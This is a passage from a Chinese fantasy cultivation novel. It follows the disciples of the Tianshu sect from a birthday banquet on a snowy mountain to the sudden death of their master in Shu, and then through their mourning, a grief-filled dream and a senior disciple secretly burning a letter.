“唉……现在还不知道怎么回事,竟然混进来这么多杀人的妖物——不过明德宗沐宗主已经派人调查了,说不日一定会给大家一个交代。不过各家多少有点伤亡,哪里肯善罢甘休,现下沐宗主应该正焦头烂额呢,师父带着几个师兄弟正帮着善后,说晚两天再回山门。”
“唉——”谢常安听罢长长的叹了口气。
沈清方拍了拍她的后背,“你呀,小小年纪叹什么气,放心,你师父师姐师兄们都好好的呢。”
谢常安躲开他的巴掌,不满道:“师兄,别老拿我当小孩子,你明明也没比我大几岁嘛!”
-
白灵山下,阳春三月,阳光暖暖地打在身上,和煦的微风拂过柳梢,街头巷里传来此起彼伏的叫卖声,四周一片祥和,丝毫没有被不远处刚发生的意外影响。
两人穿梭在烟火寻常里,并肩而行。
“哎师父好容易回来一次,师兄,我们给师父买酒喝吧,师父他老人家最爱喝桂花酿了!”谢常安好了伤疤忘了疼,转眼又活蹦乱跳了。
桂花酿是白灵山特产,每年仲秋桂花盛开,当地人就会取新鲜桂花辅以山葡萄酿酒,每每酿成,香飘十里,浓郁芬芳。
两人买了些当地特产带回山门,回去后,沈清方又请了大夫细细查看了谢常安身上的伤,虽然一天下来险象环生,但是她受的都是一些皮外伤,并无大碍,好好上药包扎即可。
安顿好一切,晚上谢常安静静地躺在床上,展开已经从手上摘下来的手帕,手帕被卷的有点皱巴巴的,上面还沾着斑斑点点的血迹,一角绣着一片枫叶,针脚细密,看得出绣手帕的人很用心。
谢常安心里却暗暗发愁:“也不知道这个血迹还能不能洗掉了,这块手帕还要不要还给他,有没有机会再见到他?”
一想到再见到沐念秋,她又无端的有点开心,思绪纷飞。“不过一块手帕而已,他应该也不会太在意吧……有借有还,再借不难……”
一阵困意袭来,她不知不觉地睡着了。
-
-
两个月后,苍翎门。
北国风光,一片苍茫,白茫茫的雪地上零星几户人家,路旁枯萎的枝干上落满了积雪,雪地上几只雪白的小兽探出头来,一蹦一跳又消失在雪地里。远处隐约可见巍峨的雪山笼罩在雾气中,雪地上一串脚印,脚印尽头,一高一矮两人正并肩行走。
“师兄,你走慢点啊,好冷啊,老天,我好累哇,我走不动了师兄,你能不能背着我走?都怪师父非带着师姐他们千里迢迢的跑到什么蜀中去除妖,费力不讨好嘛……”
雪地上走着的正是谢常安沈清方师兄妹二人。
苍翎门地处北疆,坐落在玉暇雪山山巅,地处极寒,十分偏远,常年冰雪覆盖。一月前,各门派都收到请帖,苍翎门邀请众仙门来参加门主大女儿的十九岁生辰礼,按礼数,众仙门同气连枝,受邀后应该由掌门或者首徒代表门派来拜贺。
可好巧不巧,半月前沈星河收到急报,带着几名弟子南下蜀中除妖去了,临走前交代沈清方二人来苍翎门送上贺礼,尽了人情。
沈清方一脸无奈,紧了紧谢
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常安的斗篷,摇摇头笑道:“好了,别耍赖了,咱们根本没走几步呢。蜀中西临妖界,历来归属不明,师父向来心怀苍生,眼中容不得沙子,怎么会见死不救呢?”
谢常安吸了吸鼻子,低头看着脚尖不说话。
“放心,师父一定会查清楚的。”
“我知道……我这不是担心师父嘛,他们这一去又是半个月了……哎,师兄,我仔细想想,觉得很奇怪。”
“哪里奇怪了?”
“这个上官小姐再怎么尊贵也是小辈,为什么她年纪轻轻生辰礼如此大张旗鼓,竟叫来这么多人来给她过生日?”
“别问了,快走吧!”
“哎呀,师兄你别扒拉我,我自己会走!”谢常安不满道,“师兄,你肯定知道,没有你不知道的,给我讲讲嘛!”
“……”
谢常安眼珠一转,佯装生气,往雪地里直挺挺一躺,耍起了赖:“你不说我就不走了。”
沈清方早知道自己师妹的脾气,见她跟个小河豚似的,上前拉起她,纵容道:“我知道的也不多……据说上官家大小姐上官珩乃苍翎门门主正室嫡出,从小天资卓绝,灵力高强,天赋及其出众,是百年难遇的好苗子,上官门主十分珍爱这个女儿。”
“只可惜天妒英才,她天生身体不大好,前阵子上官门主出门偶经一庙,这庙常年香火不断,无比灵验,正巧门主遇庙中神仙显灵,说上官大小姐十九岁命中带一大劫,需得直系血亲以命相护方可化险为夷,门主听完惊疑不定,又不能真的杀自己的亲人给女儿渡劫,于是想了个折中的办法,破财消灾——大办女儿生辰礼,希望能冲冲喜,将劫数化去。”
“师兄,你知道的可太多了。”谢常安听得心满意足,“我们就是修仙之人,没想到上官门主还信神仙,真的假的啊……”
-
说着说着,风雪渐停,谢常安抬头一看,雪地尽头,矗立着一座巍峨的雪山,雪山之巅坐落着一座大殿,远远望去,云山缭绕,庄严古朴,泠然一股肃杀之气。
山脚下立一山门,门口已是张灯结彩,一派喜气洋洋,与四周肃杀之气格格不入。进门处已有数名修士,正恭贺道喜,迎来送往之声不绝于耳。
循声望去,谢常安看到一个熟悉的身影,站在人群之外,一袭黑衣如墨,身着狐皮大氅,脸上似乎有些不耐烦。谢常安暗道好笑,仔细回想起来,几次见到沐念秋他好像总是这幅二五八万的不爽脸,她快跑两步,高兴地迎了上去。
“沐师兄,好久不见,我就知道这次你也来,特意带来了这个还你。”谢常安一边说一边从怀里掏出一方灰色的手帕,递给沐念秋。
沐念秋压下勾起的嘴角,琥珀色的眸子映着浅浅雪光,装作一副不在意的样子,伸手接过手帕,他看着谢常安头顶落了几片雪,很想伸手帮她拍掉。
“沐公子,幸会。”沈清方拜会过各家同修前辈,看见谢常安站在角落里,过来问道,“安儿,该进去了,请帖是不是放你那里了?”
谢常安好像看见了母鸡的小鸡,匆匆把手帕塞给沐念秋,叽叽喳喳地跟着师兄跑远了。
沐念秋望着她蹦蹦跳跳的背影,若有所思。
“念秋,看什么呢?”身旁一道声音响起。
沐念秋回过头来,只见来人与他二分相似,瞳色漆黑,神情凌冽,虽只十七八岁的模样,却显得城府极深,正是明德宗大公子沐子凛。
沐念秋见到来人,若无其事地把手帕塞进怀里,垂下眼睫,开口淡淡道:“没什么,兄长。”
沐子凛见他不愿多说,也不计较,唇角微勾,眼含笑意道:“走吧,咱们也进去,见识一下上官小姐的生辰礼。”
8. 姐妹
苍翎门内,一个僻静的小院里。
两名洒扫仆役正在院中一遍扫地一边闲聊,“上官家二位小姐,妹妹和姐姐明明是同一天生日,门主却只为大小姐庆生,请了这么多人,好大的气派。对二小姐却……”
另一人感叹道:“一个掌上明珠视若珍宝,一个却视而不见,真是……”
“可不是嘛,不过谁叫咱们大小姐天资卓绝,任谁见了都会喜欢。”
“诶,此言差矣,我听说啊……”说到此处,她环顾周围,压低了声音,“二小姐从小流落在外,是十几岁才捡回来的,母亲都不知道是谁,一个私生女,啧……”
“怪不得啊……也真是奇怪,门主那么多年不去找,怎么孩子大了想起去找了,千辛万苦找回来又不好好对待,这是何必呢?”
“够了!你们怎么回事?不好好打扫,在这里扯闲天,门主大人的是非也是你们能非议的?都不想活了吗!今天是大小姐的生辰礼,要是敢出了岔子我扒了你们的皮!”一道厉声响起,打断了二人闲聊。
两人被骂,也不敢多说什么,嗫嚅着说不出一句完整的话。
“还不赶紧干活去,扫完了赶紧去前厅!”
“是,是……”
三言两语,三人离开了后院。
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院中不远处一座假山背后,一名素衣少女双手环抱胸前站在树后,柳眉星目,看起来不太好相处,眼睫微垂,神情漠然。
“二小姐不去参加宴会,自己在这里做什么?听自己的八卦吗?”假山背后绕出一人。
上官景瞥了一眼来人,不虞道:“沐子凛?你怎么还敢来!”
来人不答话,笑眯眯地讽刺道:“有意思,别人议论你,你倒是无所谓。”
“我不认识你,快滚。”上官景不耐烦。
“演武大会同组之谊沐某尚且历历在目,怎么上官小姐这么快就忘了我了?”沐子凛面色不改,笑意却不达眼底。
上官景早觉此人心术不正,莫名其妙,懒得跟他废话,反正四下无人,她身形一晃,直接出手,直取沐子凛面门,竟是一点不留余地。
沐子凛似是早有防备,漫不经心地偏头一闪,往自己怀中摸去。
上官景见他形迹可疑,像是要从怀中掏出什么东来,顿时心生警惕,出手更快,向他手腕打去。沐子凛手腕一翻,不多纠缠,脚步如鬼似魅,一个回身,竟转至她身后,抬手向她发间一略。
她心道不妙,没想到他反应如此之快,修为如此之深,已来不及躲闪,头顶一顿,却没受伤。正待反击,沐子凛已三步退开,微微一笑。
她抬手一摸,摸到发髻间多了一支簪子,拔下一看,本想扔出去,却见手中月白色的玉簪,触手温润,色泽上佳,绝非凡品。一时间没了主意,手下一顿,一抬头,看见沐子凛还是那副皮笑肉不笑的表情。
“轻浮。”
“不敢。”
“送你的,生辰礼。”沐子凛转身挥手,送完就走。
上官景冷哼一声,并不领情,“切,谁稀罕!”
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待沐子凛走远,小院子又一道温柔的女声传来,上官珩身着一身藕粉色长裙翩翩走来,笑意盈盈,目光明媚,略施粉黛,更显得面如春晓,眉目如画。
“小景,你刚刚在和谁说话?你怎么在这里,还不去参加生辰礼,我找了你半天——别人不说,我可记得,寿星怎么能自己在这里呢?”
“姐姐,我不想去,父亲和嫡母都不想看见我,我去了也没意思,还不如自己在这边清静,不用看人脸色。”上官景偏过头去,偷偷用余光看着上官珩。
“好吧,都依你,你不开心的话不去也没关系。”上官珩温温柔柔地安慰她,又仔仔细细地从荷包里取出一枚精致的护身符,“这是我上月去灵山祈福求得的护身符,送给你,希望你能平平安安,健健康康,一直陪在我身边。”
上官景接过护身符,面上不虞之色一扫而空,贴上去挽住姐姐的胳膊,“姐姐,我当然会一直陪着你的。”
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“少爷,您把给大小姐的生辰礼给了二小姐,一会儿可怎么办呢?”
“不怎么办。”沐子凛快步往前走,不以为意。
随从见他丝毫不放在心上,皇上不急太监急,“哎呦我的大少爷,您这是为啥呢?”
“人人都看不起二小姐,说她不配,我偏要把最好的给她。”
“这……我都快哭了,您还笑得出来?得罪了苍翎门,回去咱可怎么跟宗主交代?”随从的脸拧成一团,一脸衰相。
沐子凛看着自己的随从愁眉苦脸,觉得还怪好玩的,志在必得道:“苍翎门行事如此大张旗鼓,区区一个小辈的生辰礼就广邀名门,未必就没有野心,放心吧,就算得罪了苍翎门,宗主也不会怪罪的。”
“快走吧,宴会开始了。”
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主仆两人经过几处庭院,不一会儿,沿着覆雪的山间小道来到宴会中场。玉暇雪山灵力充沛,山顶种植十里梅林,宴会选在雪山山巅之上,一片梅林中央,四周红梅覆雪,风光无两。
这十里梅林不同寻常,选用的是北疆特有的冰晶红梅,百年长成,极难种植。而苍翎门竟然在玉暇山巅种下了这么大一片——梅花常年盛开不败,花瓣如同水晶,阳光照在花瓣上熠熠生辉,斑斓的光影折射在雪地之上,风雅无双,成为北疆一道难得的盛景。
四周宾客觥筹交错,依稀几人轮流上前,向主人家送上贺礼,互相恭贺道谢,十分热闹,显然宴会已经开始一阵子了。宴会的主角上官珩此时正与父母一同坐在主桌,浅笑低语。
刚
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送走一波道喜的来客,苍翎门主上官锦川——正是两月前演武大会台上人之一,放下酒盏,向身旁的上官珩问起:“珩儿,你妹妹呢?怎么还没过来?”
“父亲,妹妹身体不舒服,先回去休息了。”上官珩小声解释道。
上官锦川闻言似有不满,随口抱怨了两句,“不懂事,今天是你的大日子,她还是这般没规矩,像什么样子……”
“父亲,妹妹不是故意的,她刻苦修炼,想叫父亲满意,才累坏了身子,父亲别怪她。”
“怎么,她这样难道还怪我不成,再用功也不及你十分之一,整日耷拉着脸,谁欠她什么不成了?”
“爹,别生气了,今天是女儿生日,咱们不说这些了好么?”上官珩拉了拉父亲衣袖,柔声道。
上官锦川火气渐消,“好好好,不提也罢,我总是最心疼你的。”
沉默三秒,上官珩还是忍不住开口劝道:“父亲,这话叫小景听见了她要难过的,爹,今天也是小景的生辰,她其实不是您想的那样,爹为什么就是……”
上官锦川面色微沉,似乎不想听到这些,开口打断道:“好了,看爹给你准备的礼物……”
上官珩见父亲不太高兴,也不好在多说什么,只得接过昂贵的礼物,勉强笑了笑,“好,谢谢父亲。女儿很喜欢……”
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沐子凛见四下无人上前,抓住时机,两手空空走上前去,笑盈盈地一抱拳,和上官门主打起了招呼。
上官锦川见他空手而来,倒也没计较,两人你来我往客套几句后,上官锦川随口问道。
“听说沐二公子也一起来了,怎么不见他人?”
院子西侧,一棵冰晶红梅凌寒绽放,树下不起眼的偏桌坐着沐念秋,脸上没什么表情,肩头落了几片花瓣,白皙的脸庞在梅花的映衬下少了几分冷硬,平添了几分艳丽。
他从怀里摸出一方手帕,若有所思,打开一看,方才一成不变的表情一下子变了,一阵无语——得,给错了,只见一方相似的灰色手帕上,一角绣着一个安字。
他四下张望,无奈地想:确实是她能干出来的事。
“二少爷,您找什么呢?”一旁随从见他张望,开口问道。
“没什么。”沐念秋收回了目光。
“是找谢小姐么?谢小姐刚已经回去了。”
宴会刚开始不久,路途遥远,大家千里迢迢来到玉暇雪山不算容易,不管是出于礼貌还是别的原因,也不会有人中途离场——此时离场,一定是遇到了十分紧急的事情。
闻言,沐念秋一脸错愕,收起手帕,不由自主开口问道:“为什么?”
随从解释道:“二少爷,我见沈公子接到一则传讯,谢姑娘就和沈公子一起急匆匆地走了,看样子是出了什么急事,不然也不会中途离席。”
9. 团圆
茫茫雪地上,两匹骏马飞驰而去,谢常安沈清方二人正快马加鞭往玉衡山赶去。
“师兄,四师兄传讯怎么说的,师父那边有消息了吗?”
自从宴席上师兄收到急报,脸色就十分不好,谢常安从没见过平日里温文尔雅的师兄在自己面前露出这幅表情,心里十分的惴惴不安。
七日前沈星河在蜀中音讯全无,本以为他们只是像往常一样遇到了一点麻烦,四师兄只好亲自去接应,没想到刚人没接回,却传回了一封急报。
“说来话长,蜀中非常不对劲,咱们先回门派,再行商议。”沈清方面色凝重,心不在焉地答道。
谢常安不再多问,二人骑马赶到最近的传送站——传送站是仙门为方便设立的传送阵法,可迅速往来各地之间,比舟车劳顿不知快多少倍。传送站平时有专人负责看护,花费灵石启动,但价格十分昂贵,因而一般没有十分紧急的情况,大家能自己走就不愿坐传送阵。
不到半日,二人就回到了玉衡山天枢院。山门里一众师兄弟都在,人人都面色凝重,就连平时一副憨态可掬,总是笑呵呵的四师兄都一副忧心忡忡的模样。
“四师弟,师父那边什么情况?”沈清方连口水都顾不上喝,急匆匆地问道。
“我一路沿着师父他们留下的踪迹找,但是还没进蜀中线索就全断了,后来……唉!”四师兄讲到这里长叹一口气,边说边从怀中取出一封信,省略掉路上的种种艰辛波折。
“我只好先回山门,没想到正巧在路上接到师父的一封加密传信——这封密信不知为何刻意避开了仙门正规通信法阵,附在一个魂偶上,以特殊的符箓控制,外设咱天枢院四灵阵法,层层加密,传至山门……”
能熟练使用如此繁复的高阶加密阵法的,只有师父沈星河和大弟子沈清方,一定是师父有十分要紧又不能为人所知的机密,才通过这种方式传信回来。
可他们究竟遇到了什么?究竟是什么机密竟然需要刻意避开其他各仙门?不走正规通信法阵又是在防着谁?
众人急忙拆开信来看,只见信中竟是一封有些破损褶皱的血书,潦草写着几个语焉不详的字——“结界异常,人祸”,另附一枚残缺的飞镖,隐约可见镖上刻着未磨掉的图腾,不似中原之物,看起来是匆忙之中来不及写明缘由。
谢常安看到血书心里咯噔一下,记忆里师父从来都是白衣飘飘,不染凡尘的模样,永远是那么从容自若——现在却传回一封意义不明的血书。
他们是遇到了什么才会如此紧急匆忙,竟连写成一封信的机会都没有?
众人皆是沉默不语,心急如焚,此刻只有一封模糊不清的信,师父一行人还是不知所踪。
“师父二师妹他们一定是遇到了十分紧急的危险,才如此匆忙的留下一封血书,事不宜迟,我必须去蜀中一趟。”不待大家开口,沈清方斩钉截铁道。
“师父他们都解决不了的情况,师兄你一个人去怎么行啊?”
“是啊,现在什么情况都不清楚,贸然前往恐怕也凶多吉少啊,咱们大家还是先一起商量商量怎么办吧。”
“大师兄,还是我去吧,师父不在,你得主持大局啊!”
“我和你一起去!”
众弟子有的劝阻,有的要跟着一起去。
“眼下只有这么一点信息,再商量也商量不出什么来。师父那边情况危机,不亲自去一趟我始终心里难安。大家不必再劝,我会小心行事。”沈清方力排众议。
“师兄……”从宴会回来,谢常安悬着的心就没放下来过,不知为什么,她隐约有种感觉,好像突然间所有事情好像都不受控制的朝着一个很坏的方向发展,而她什么也阻止不了。
“常安,好好在山门待着,照顾好自己,我很快会带着师父和师姐一块回来。放心,没事的,一切有我在呢。”沈清方轻声嘱咐道,末了朝她露出了一个熟悉的微笑。
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等待的日子总是格外漫长,谢常安以前从来叫不醒,如今每天清晨天一亮她就睡意全无,师父和师兄全不在身边,玉衡山日升日落风景依旧,她却有种陌生的感觉。
她睡不着又无事能做,只好去山门口坐着,从早等到晚,期盼师父和师兄能像往常一样,安然无恙地回家,笑着摸摸她的头。看着空无一人的进山小路,她觉得胸口沉甸甸的像是装着个大石头,又觉得脚下轻飘飘的没有一点安全感,感觉自己渺小又无能,除了担心和等待什么也做不到。
谢常安等啊等,一天没消息,两天没消息。
等到第十七天,师兄终于回来了,得知师兄回来的时候,谢常安正在和芳姑姑一起洒扫庭院。听到消息,她不知道自己是怎么扔下扫帚跑出院子的,恍惚间只记得自己和一众师兄弟匆忙下山,终于见到了半月未见的大师兄。
沈清方整个人疲惫又沧桑,她的印象里,师兄总是一副谦谦君子,温柔可亲的样子,一袭白衣分毫不染,笑起来如朗月入怀,让人如沐春风。她从来没有见过师兄现在这副魂不守舍的狼狈模样。
跟着他一起上山的,只有几副棺材。
棺材里是什么?
师父呢?师姐呢?一起去的师兄弟们呢?
世界上怎么会有师父解决不了的困难?
眼前的一切变得扭曲起来,排山倒海的失重感撕扯着她的五脏六腑。她的耳边嗡嗡作响,周遭声响忽远忽近,模糊间好像有谁在叫她的名字,她拼命地想睁开眼睛,看看眼前究竟发生了什么,想问问师兄,他还好吗?师父和师姐怎么样了?
挣扎间谢常安的胸口一阵剧痛传来,她眼前发黑,控制不住自己的身体向后倒去,意识消散的最后一刻,沈清方接住了她失去意识的身体。
-
窗外鸟鸣阵阵,谢常安从睡梦中苏醒,睁开眼睛,阳光穿过窗棂,洒在桃木小桌上,屋内陈设如常。
她翻身下床,感觉身体轻快极了,穿戴完毕,走出门去。
屋外阳光和煦,桂花飘香,沈清方端坐在院子中央。
“师兄,你怎么在这?”
“你说的什么傻话,我不在这应该在哪?”沈清方从石椅上站起来,笑着看向她。
谢常安感觉有哪里好像不对劲儿,她接着问道,“你要干什么去?”
“哦,师父叫我去山下采买,等你一起去呢。”
“师父?”
“常安,你怎么了,看着魂不守舍的?”沈清方见她神情恍惚,担心地走上前。
“我……我也不知道,就是心里莫名感觉空落落的……”
“师姐呢?师姐他们呢?”谢常安突然想起什么似的,猛然问到。
“他们都在后院练武呢,怎么了?”沈清方像是没察觉到她的反应,仍旧微笑着看向她。
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“那师父呢?”谢常安如同惊弓之鸟,惶恐极了。
“好啦,别多想了,师父叫我下山买点月饼,今天中秋,晚上晚习取消,放一天假,师父和咱们一起赏月吃月饼。”
-
仲秋时节,夜晚凉风习习,漫天星河如织,玉衡山上一片竹林里,凉亭内一众弟子围坐在一起,有说有笑,中间石桌上摆着各色月饼,沈星河正拿着一壶桂花酿,望向夜空。
圆月高悬,正是团圆的时节。
“四师弟,看什么呢?月饼不够好吃吗,你平时不是最爱吃五芳斋的月饼吗?”一人调笑道。
“哈哈,哈哈,那得问问咱们二师姐啦!”众人起哄。
“二师姐,四师兄喜欢你……买的月饼!”
“哈哈哈哈哈哈——”
二师姐不多话,笑眯眯站起身,举起拳头邦邦几拳打在几人的脑袋上,一片哀嚎声中,起哄的师兄弟纷纷捂着脑袋哭丧着脸,不敢再乱说。
“师姐好力道。”
“还是熟悉的力道……”
“还是咱们大师兄温柔,从来不揍人!”
“那是你们大师兄脾气好!”
“师兄什么时候找个道侣?”
“对啊对啊。”一人捂着脑袋胆大道,“可得找一个温柔一点儿的,千万别像咱们二师姐这样。”
“你小子皮又痒痒的是不是!”
“师姐饶命师姐饶命!我乱说的,我们师姐天下第一好!”小师弟抱头鼠窜。
“当着师父的面乱说什么,规矩都忘了吗?”沈清方忍不住劝道。
“师父,我们说的都是人生大事,您不会怪我们的对吧?应该给师兄找一门亲事了,就找师娘那样的才好!”
“哎呀,你喝多了吧?乱说什么呢?”
“对不起师父,我错了……”
“无妨。”沈星河神色淡淡。
欢声笑语,一派和乐。
“师父,你想师娘吗?”
今夜没人在乎长幼尊卑,谢常安大着胆子问道。
沈星河面前酒盏空空,他索性举起酒坛直接喝了一口,看起来心情不错,“你师娘她变成星星在天上看着我们呢,我相信她一直陪在我身边。”
“常安,生老病死是人生常态,每个人都会经历,我也不能一直陪着你们的。”
月光下竹影打在沈星河的身上,影影绰绰的,像一场美轮美奂的幻梦,谢常安看着眼前师父高大的身影,心里无端升起一阵恐惧,她控制不住地大喊道,“师父,你哪里也不要去,我想一辈子陪在你们身边!”
没有人反应,周遭说笑声不知什么时候停止了,竹林里万籁俱寂。
沈星河像是没听见她说话,看着夜空一动不动。
“师父,你怎么不说话了?”谢常安害怕极了,再也冷静不下来,冲过去慌张地拉住师父的胳膊。
沈星河终于转过头来,却直勾勾地看着她,面色苍白如纸,鲜血从嘴角流出。
谢常安吓了一跳,本能的撒开手,回过头去找沈清方,可她一回身,却发现不知何时自己身后已空无一人,刚才还在身旁的师兄师姐们都头也不回地走开了,她的四周只剩他们远去的背影。
谢常安徒劳地想抓住什么,她拼命地像追上大家的脚步,却不知为何一步也迈不出去,她大喊道。
“师父!师兄!师姐!”
10. 噩耗
“师父,师父,师姐!”
“师兄!师父他,师父和师姐……”
谢常安满头大汗猛地坐起来,发现自己正躺在床上,窗外阳光正好,传来阵阵蝉鸣,四师兄正坐在床边,一脸担忧地看着她。旁边小案上放着一碗温热的白粥。
窗外的阳光格外刺眼,晃得她脑袋一阵一阵的疼,她分辨不出眼前的一切是梦是真,慌慌张张地差点打翻了案上的白粥,拉住四师兄目光殷殷忙问道:“四师兄……我……我师兄去哪了?师父……对……师父,还有二师姐,他们……他们人呢?”
四师兄却看着她说不出话来,扭过头叹了口气。
看见四师兄这副反应,她顾不上穿衣穿鞋,踉跄跳下床来,跌跌撞撞跑到门外,四师兄在后面着急地叫她,她不闻不问。
盛夏时节,屋外阳光耀眼刺目,照的她一阵晕眩,她像往常一样一路穿过回廊,又翻过沿墙,跑到那个种满玉兰树的院子——院子里到处都没有沈清方的身影。
刚醒过来,谢常安感觉自己的身体格外沉重,她的胸口剧烈地起伏,脚下却不停,魂不守舍地又跑到师父的院子,直接推开了师父的房门,房中床铺整齐,一应物品一尘不染,屋角桃桌上摊开两本书,书上还摆着一个菱形的小盒子——像是个没做完的小法器,仿佛屋子的主人从未离去。
空气中的热浪一阵一阵打在她的身上,四周燥热又安静,她突然很想很想听人说点话。
一切陈设一如往昔,像没有灵魂的木偶。
“常安,别找了。”身后传来芳姑姑熟悉的声音。
听见这个声音,谢常安的肩膀一下子垮了下来,她站在房门口沉默着,不敢转头去看,心中万念俱灰,眼泪直流。
芳姑姑走过去慢慢地抱住了谢常安,大手拍拍她的后背,“来,孩子,别找了,我带你去看看他们。”
芳姑姑把谢常安领到灵堂,灵堂里挂满了白色的帷幔,点着成排的蜡烛,堂中放着一排棺材,谢常安摆开芳姑姑,独自一人下定决心般地走了过去,推开当中的一口棺材——棺材里躺着的正是自己的师父。
她掀开白布,只见白布下沈星河双目紧闭,灰白的脸上已然没有了一丝生气,脖颈上一道狰狞的伤口。谢常安紧锁眉头,又将白布向下掀起,伤口周围沿着经脉布满了可怖的紫色纹路——她越看越觉触目惊心——这伤口纹路竟和当日演武场死去的张公子右臂上的伤口十分相似!
为什么?
为什么同样的伤口会出现在师父身上?
蜀中和白灵山相隔千里,这一切只是巧合吗?
如果不是巧合……
谢常安的思绪滑向可怕的深渊。
“常安!”沈清方不知何时走进灵堂,打断了她的想象。
“师兄?师兄……师父怎么会……蜀中到底怎么了?”谢常安见师兄来,眼角红红的,不知是没休息好还是哭过,她回身盖好沈星河的棺材,没让沈清方再看清师父的遗体。
“我到的时候,师父和师弟们已经……不知道是谁杀的,现场已经被人清理过了,师姐不知所踪。”沉默片刻,沈清方一副强打精神的模样,平静地说道。
谢常安知道,沈清方这一路必不可能像他所说的这般平静,他故意避开不提自己一路的坎坷艰辛——能从蜀中找回师父的遗体已是不易,还这般千里迢迢的运回山门,各中危险困难恐怕不会少。她不忍戳破,再看师兄耗费心力想借口安慰自己,强压下自己的好奇心,没再开口多问。
一旁芳姑姑过来,担心道:“清方,你脸色不太好,回去休息休息吧。”
“我没事,我得给师父守灵。”沈清方嘴角勉强扯出一个难看的微笑,对芳姑姑说道。
见他不走,芳姑姑又道,“清方,你们都是我看着长大的,姑姑知道这几天你奔波数日未曾合眼,听我的,不管怎么样你也得休息一下——你师父在天有灵,他也不会想看到你这么辛苦的。”
“是啊,师兄,你回去休息吧,今天我和芳姑姑守灵。”谢常安附和道。
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夜晚,暑气渐消,四周空气不再像白天那般闷热潮湿,让人喘不过气来。灵堂里香烛高悬,焰火通明,四周挂满了飘扬的白绸,一切都是肃穆的黑白二色,角落里飞蛾无声地扑向火盆。两人身着重孝坐在门口,把一张一张的纸钱丢进火盆,看着它们烧成灰烬,燎起忽明忽灭的火苗。
“我和你师娘从小一起长大……”芳姑姑悠悠地开口,目光笼罩在静谧的夜色下。
一阵风起,灵堂里白绸簌簌作响,盆里火苗跳动,扬起一串烟灰,飞向夜空,夜空中圆月高悬,星汉灿烂——仿佛梦中那个团聚的夜晚。
谢常安没有出声,看着火光下芳姑姑已不再年轻的脸庞,静静地听着她讲起从前不曾提起过的往昔岁月。
“我和你师娘从小一起长大。小时候我家里穷,养不起这么多孩子,只能把我卖了,是小姐一家人心善,把我带回家——虽然我是小姐的婢女,可是小姐待我极好,把我当亲姐妹一样,从来不苛待我。”
“后来……小姐嫁过来,做了咱们天枢院的掌门夫人,我就一起跟着来了玉衡山——那是我第一次来玉衡山,这里真漂亮啊,满天的星星,你师父是个好人,我能看出来,夫人是真心喜欢掌门的。可惜……她走得早,那时候你还没来,她去的时候……”
芳姑姑顿了顿,似乎是想起了巨大的痛苦,语气有点哽咽。
谢常安仿佛没有察觉似的,望着璀璨的夜空,静静地等着她接着开口。
“她去的时候……你师父伤心欲绝,我从来没见过掌门他那么失魂落魄的样子,他把自己关在夫人的灵堂里七天七夜,谁也不许去打扰。”
“出来之后,看着倒像是神色如常,可是整个人仿佛三魂丢了七魄,他跟我说,给我一笔钱,叫我下山安家,过寻常的生活。我说我不想下山,夫人把天枢院当自己的家,夫人的家就是我的家,我要替夫人守好这里,留在山上。”
“但是我不会这些法术,就留在山上照顾大家,做饭洒扫。有几年,你师父一直都郁郁寡欢,我很担心,却又帮不上什么忙,直到有一天他带回了你,整个人突然活过来了,有人气了。你师父一生光明磊落,行侠仗义,他应该长命百岁,幸福一生的,为什么老天爷这么不公平,要这么对一个好人?”
谢常安听完这么长的一个故事,心里五味杂陈,一口气憋在心里吐不出来也咽不下去,抱着腿坐在门槛上,把自己团成了一个虾米,沉默了片刻,开口答道,“芳姑姑,我不知道,要是做好人没有好下场,你还会做好人吗?
芳姑姑拍了拍她驼着的后背,又捋了捋她脑门上被风吹乱的碎发,长出了一口气,“傻孩子,当然要做好人了,人行于天地
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间,要行得正坐得直,不求显达,无愧于心。”
“你师父说过,天枢院门风‘兼爱’,是要你们兼爱苍生,我虽不懂你们这些仙门法术,但也知修仙之人应当对众生抱怜悯之心,才不失修道本心。你师父在天有灵,一定希望你们能成为一个好人的。”
漫漫长夜,灵堂里长明灯亮起一个微弱的火苗,飘摇不熄,仿佛故去的人魂魄仍在,谢常安靠在芳姑姑宽厚的肩膀上,听着她和缓而熟悉的声音,呼吸着玉衡山夏夜微凉的空气,不知何时沉沉睡去了……
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沈清方从来没有感觉过这么寒冷,一阵彻骨的寒冷顺着他的脊背爬了上来,像一条吐着信子的毒蛇,炎炎夏日,他独自一人静坐在师父的书房里,打了个冷战。
这些天,山门里人心惶惶,师父不在了,突然死了很多人,大家的精神都不好,沈清方作为天枢院大弟子,从小被师父收养,领上了山门,他一直看着身前师父的背影,永远可靠,永远屹立不倒,是他遥不可及的目标。
这些年,他一直向着这座背影拼命努力,自觉已经足以独当一面,可直到师父骤然去世,他才发现,自己其实从来没有支撑起天枢院的能力,没办法像师父一样成为众人眼中那个高大可靠的背影。
这些天他每日焦头烂额,既要安抚人心查明真相,又要处理师父的身后事——已经接连有几家门派来山上吊唁了,还要装作游刃有余。他只能在偶尔无事的时候,把自己关在师父的书房里稍稍喘口气,隔绝外面的一切,安放自己后知后觉的悲痛——仿佛在这间屋子里,他就能离那个人更近一点。
书房里一应陈设丝毫未动,窗明几净一如往昔,书架上摆满了沈星河爱看的书——天文地理、地方风物……以及几本种花养草的诀窍指南;靠西立着一个雕花立柜——上面摆着几个没做完的小法器,小时候他总和师妹在这里玩捉迷藏;靠窗书桌上放着沈星河常用的一套茶具,茶杯旁笔墨纸砚一应俱全,以及……
一封不属于这间屋子的信——一封刚刚拆封的信。
沈清方看着桌子上的信纸,冰凉的指尖一下一下轻点着桃木桌面。
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“师兄,你都把自己关在里面一天了,出来吃点东西吧!”不知过了多久,书房外的呼喊打破了屋子里死一般的沉静。
门内沈清方一语不发。
谢常安拎着个食盒,看着紧闭的屋门,颓然坐在门口。
暮色四合,太阳渐渐沉向了地平线下,天空中星星逐渐清晰了起来,台阶尚有余温,她两手撑着腮,心事重重地想了一会儿,把饭盒放在地上,独自走了。
书房里一片死寂,暮色下屋内光线暗淡,门外早不见师妹的声息,沈清方没有点灯,一动不动地坐在黑暗里,和周围静止的环境融为一体。他才像尘封多年的死尸回魂,深深吸了口气,活动着咔咔作响的骨节。
一声响指,桌上亮起一小簇油灯的火光,烛光下,巨大的阴影投射在沈清方背后,他数着自己的呼吸,从一数到十,随即拿起了桌上的信,烧成了灰烬。
灰烬纷纷扬扬,像一片无声的雪花,他掸掉桌上散落的灰烬,熄灭桌上的油灯,身后巨大的阴影消失在无尽的黑暗中。曾经天真正义的少年,眼中不再有不谙世事的光华。随即,他面无表情地站起身来,脱胎换骨般地最后一次走出了沈星河的书房。
11. 下山
这是沐念秋第一次来玉衡山。
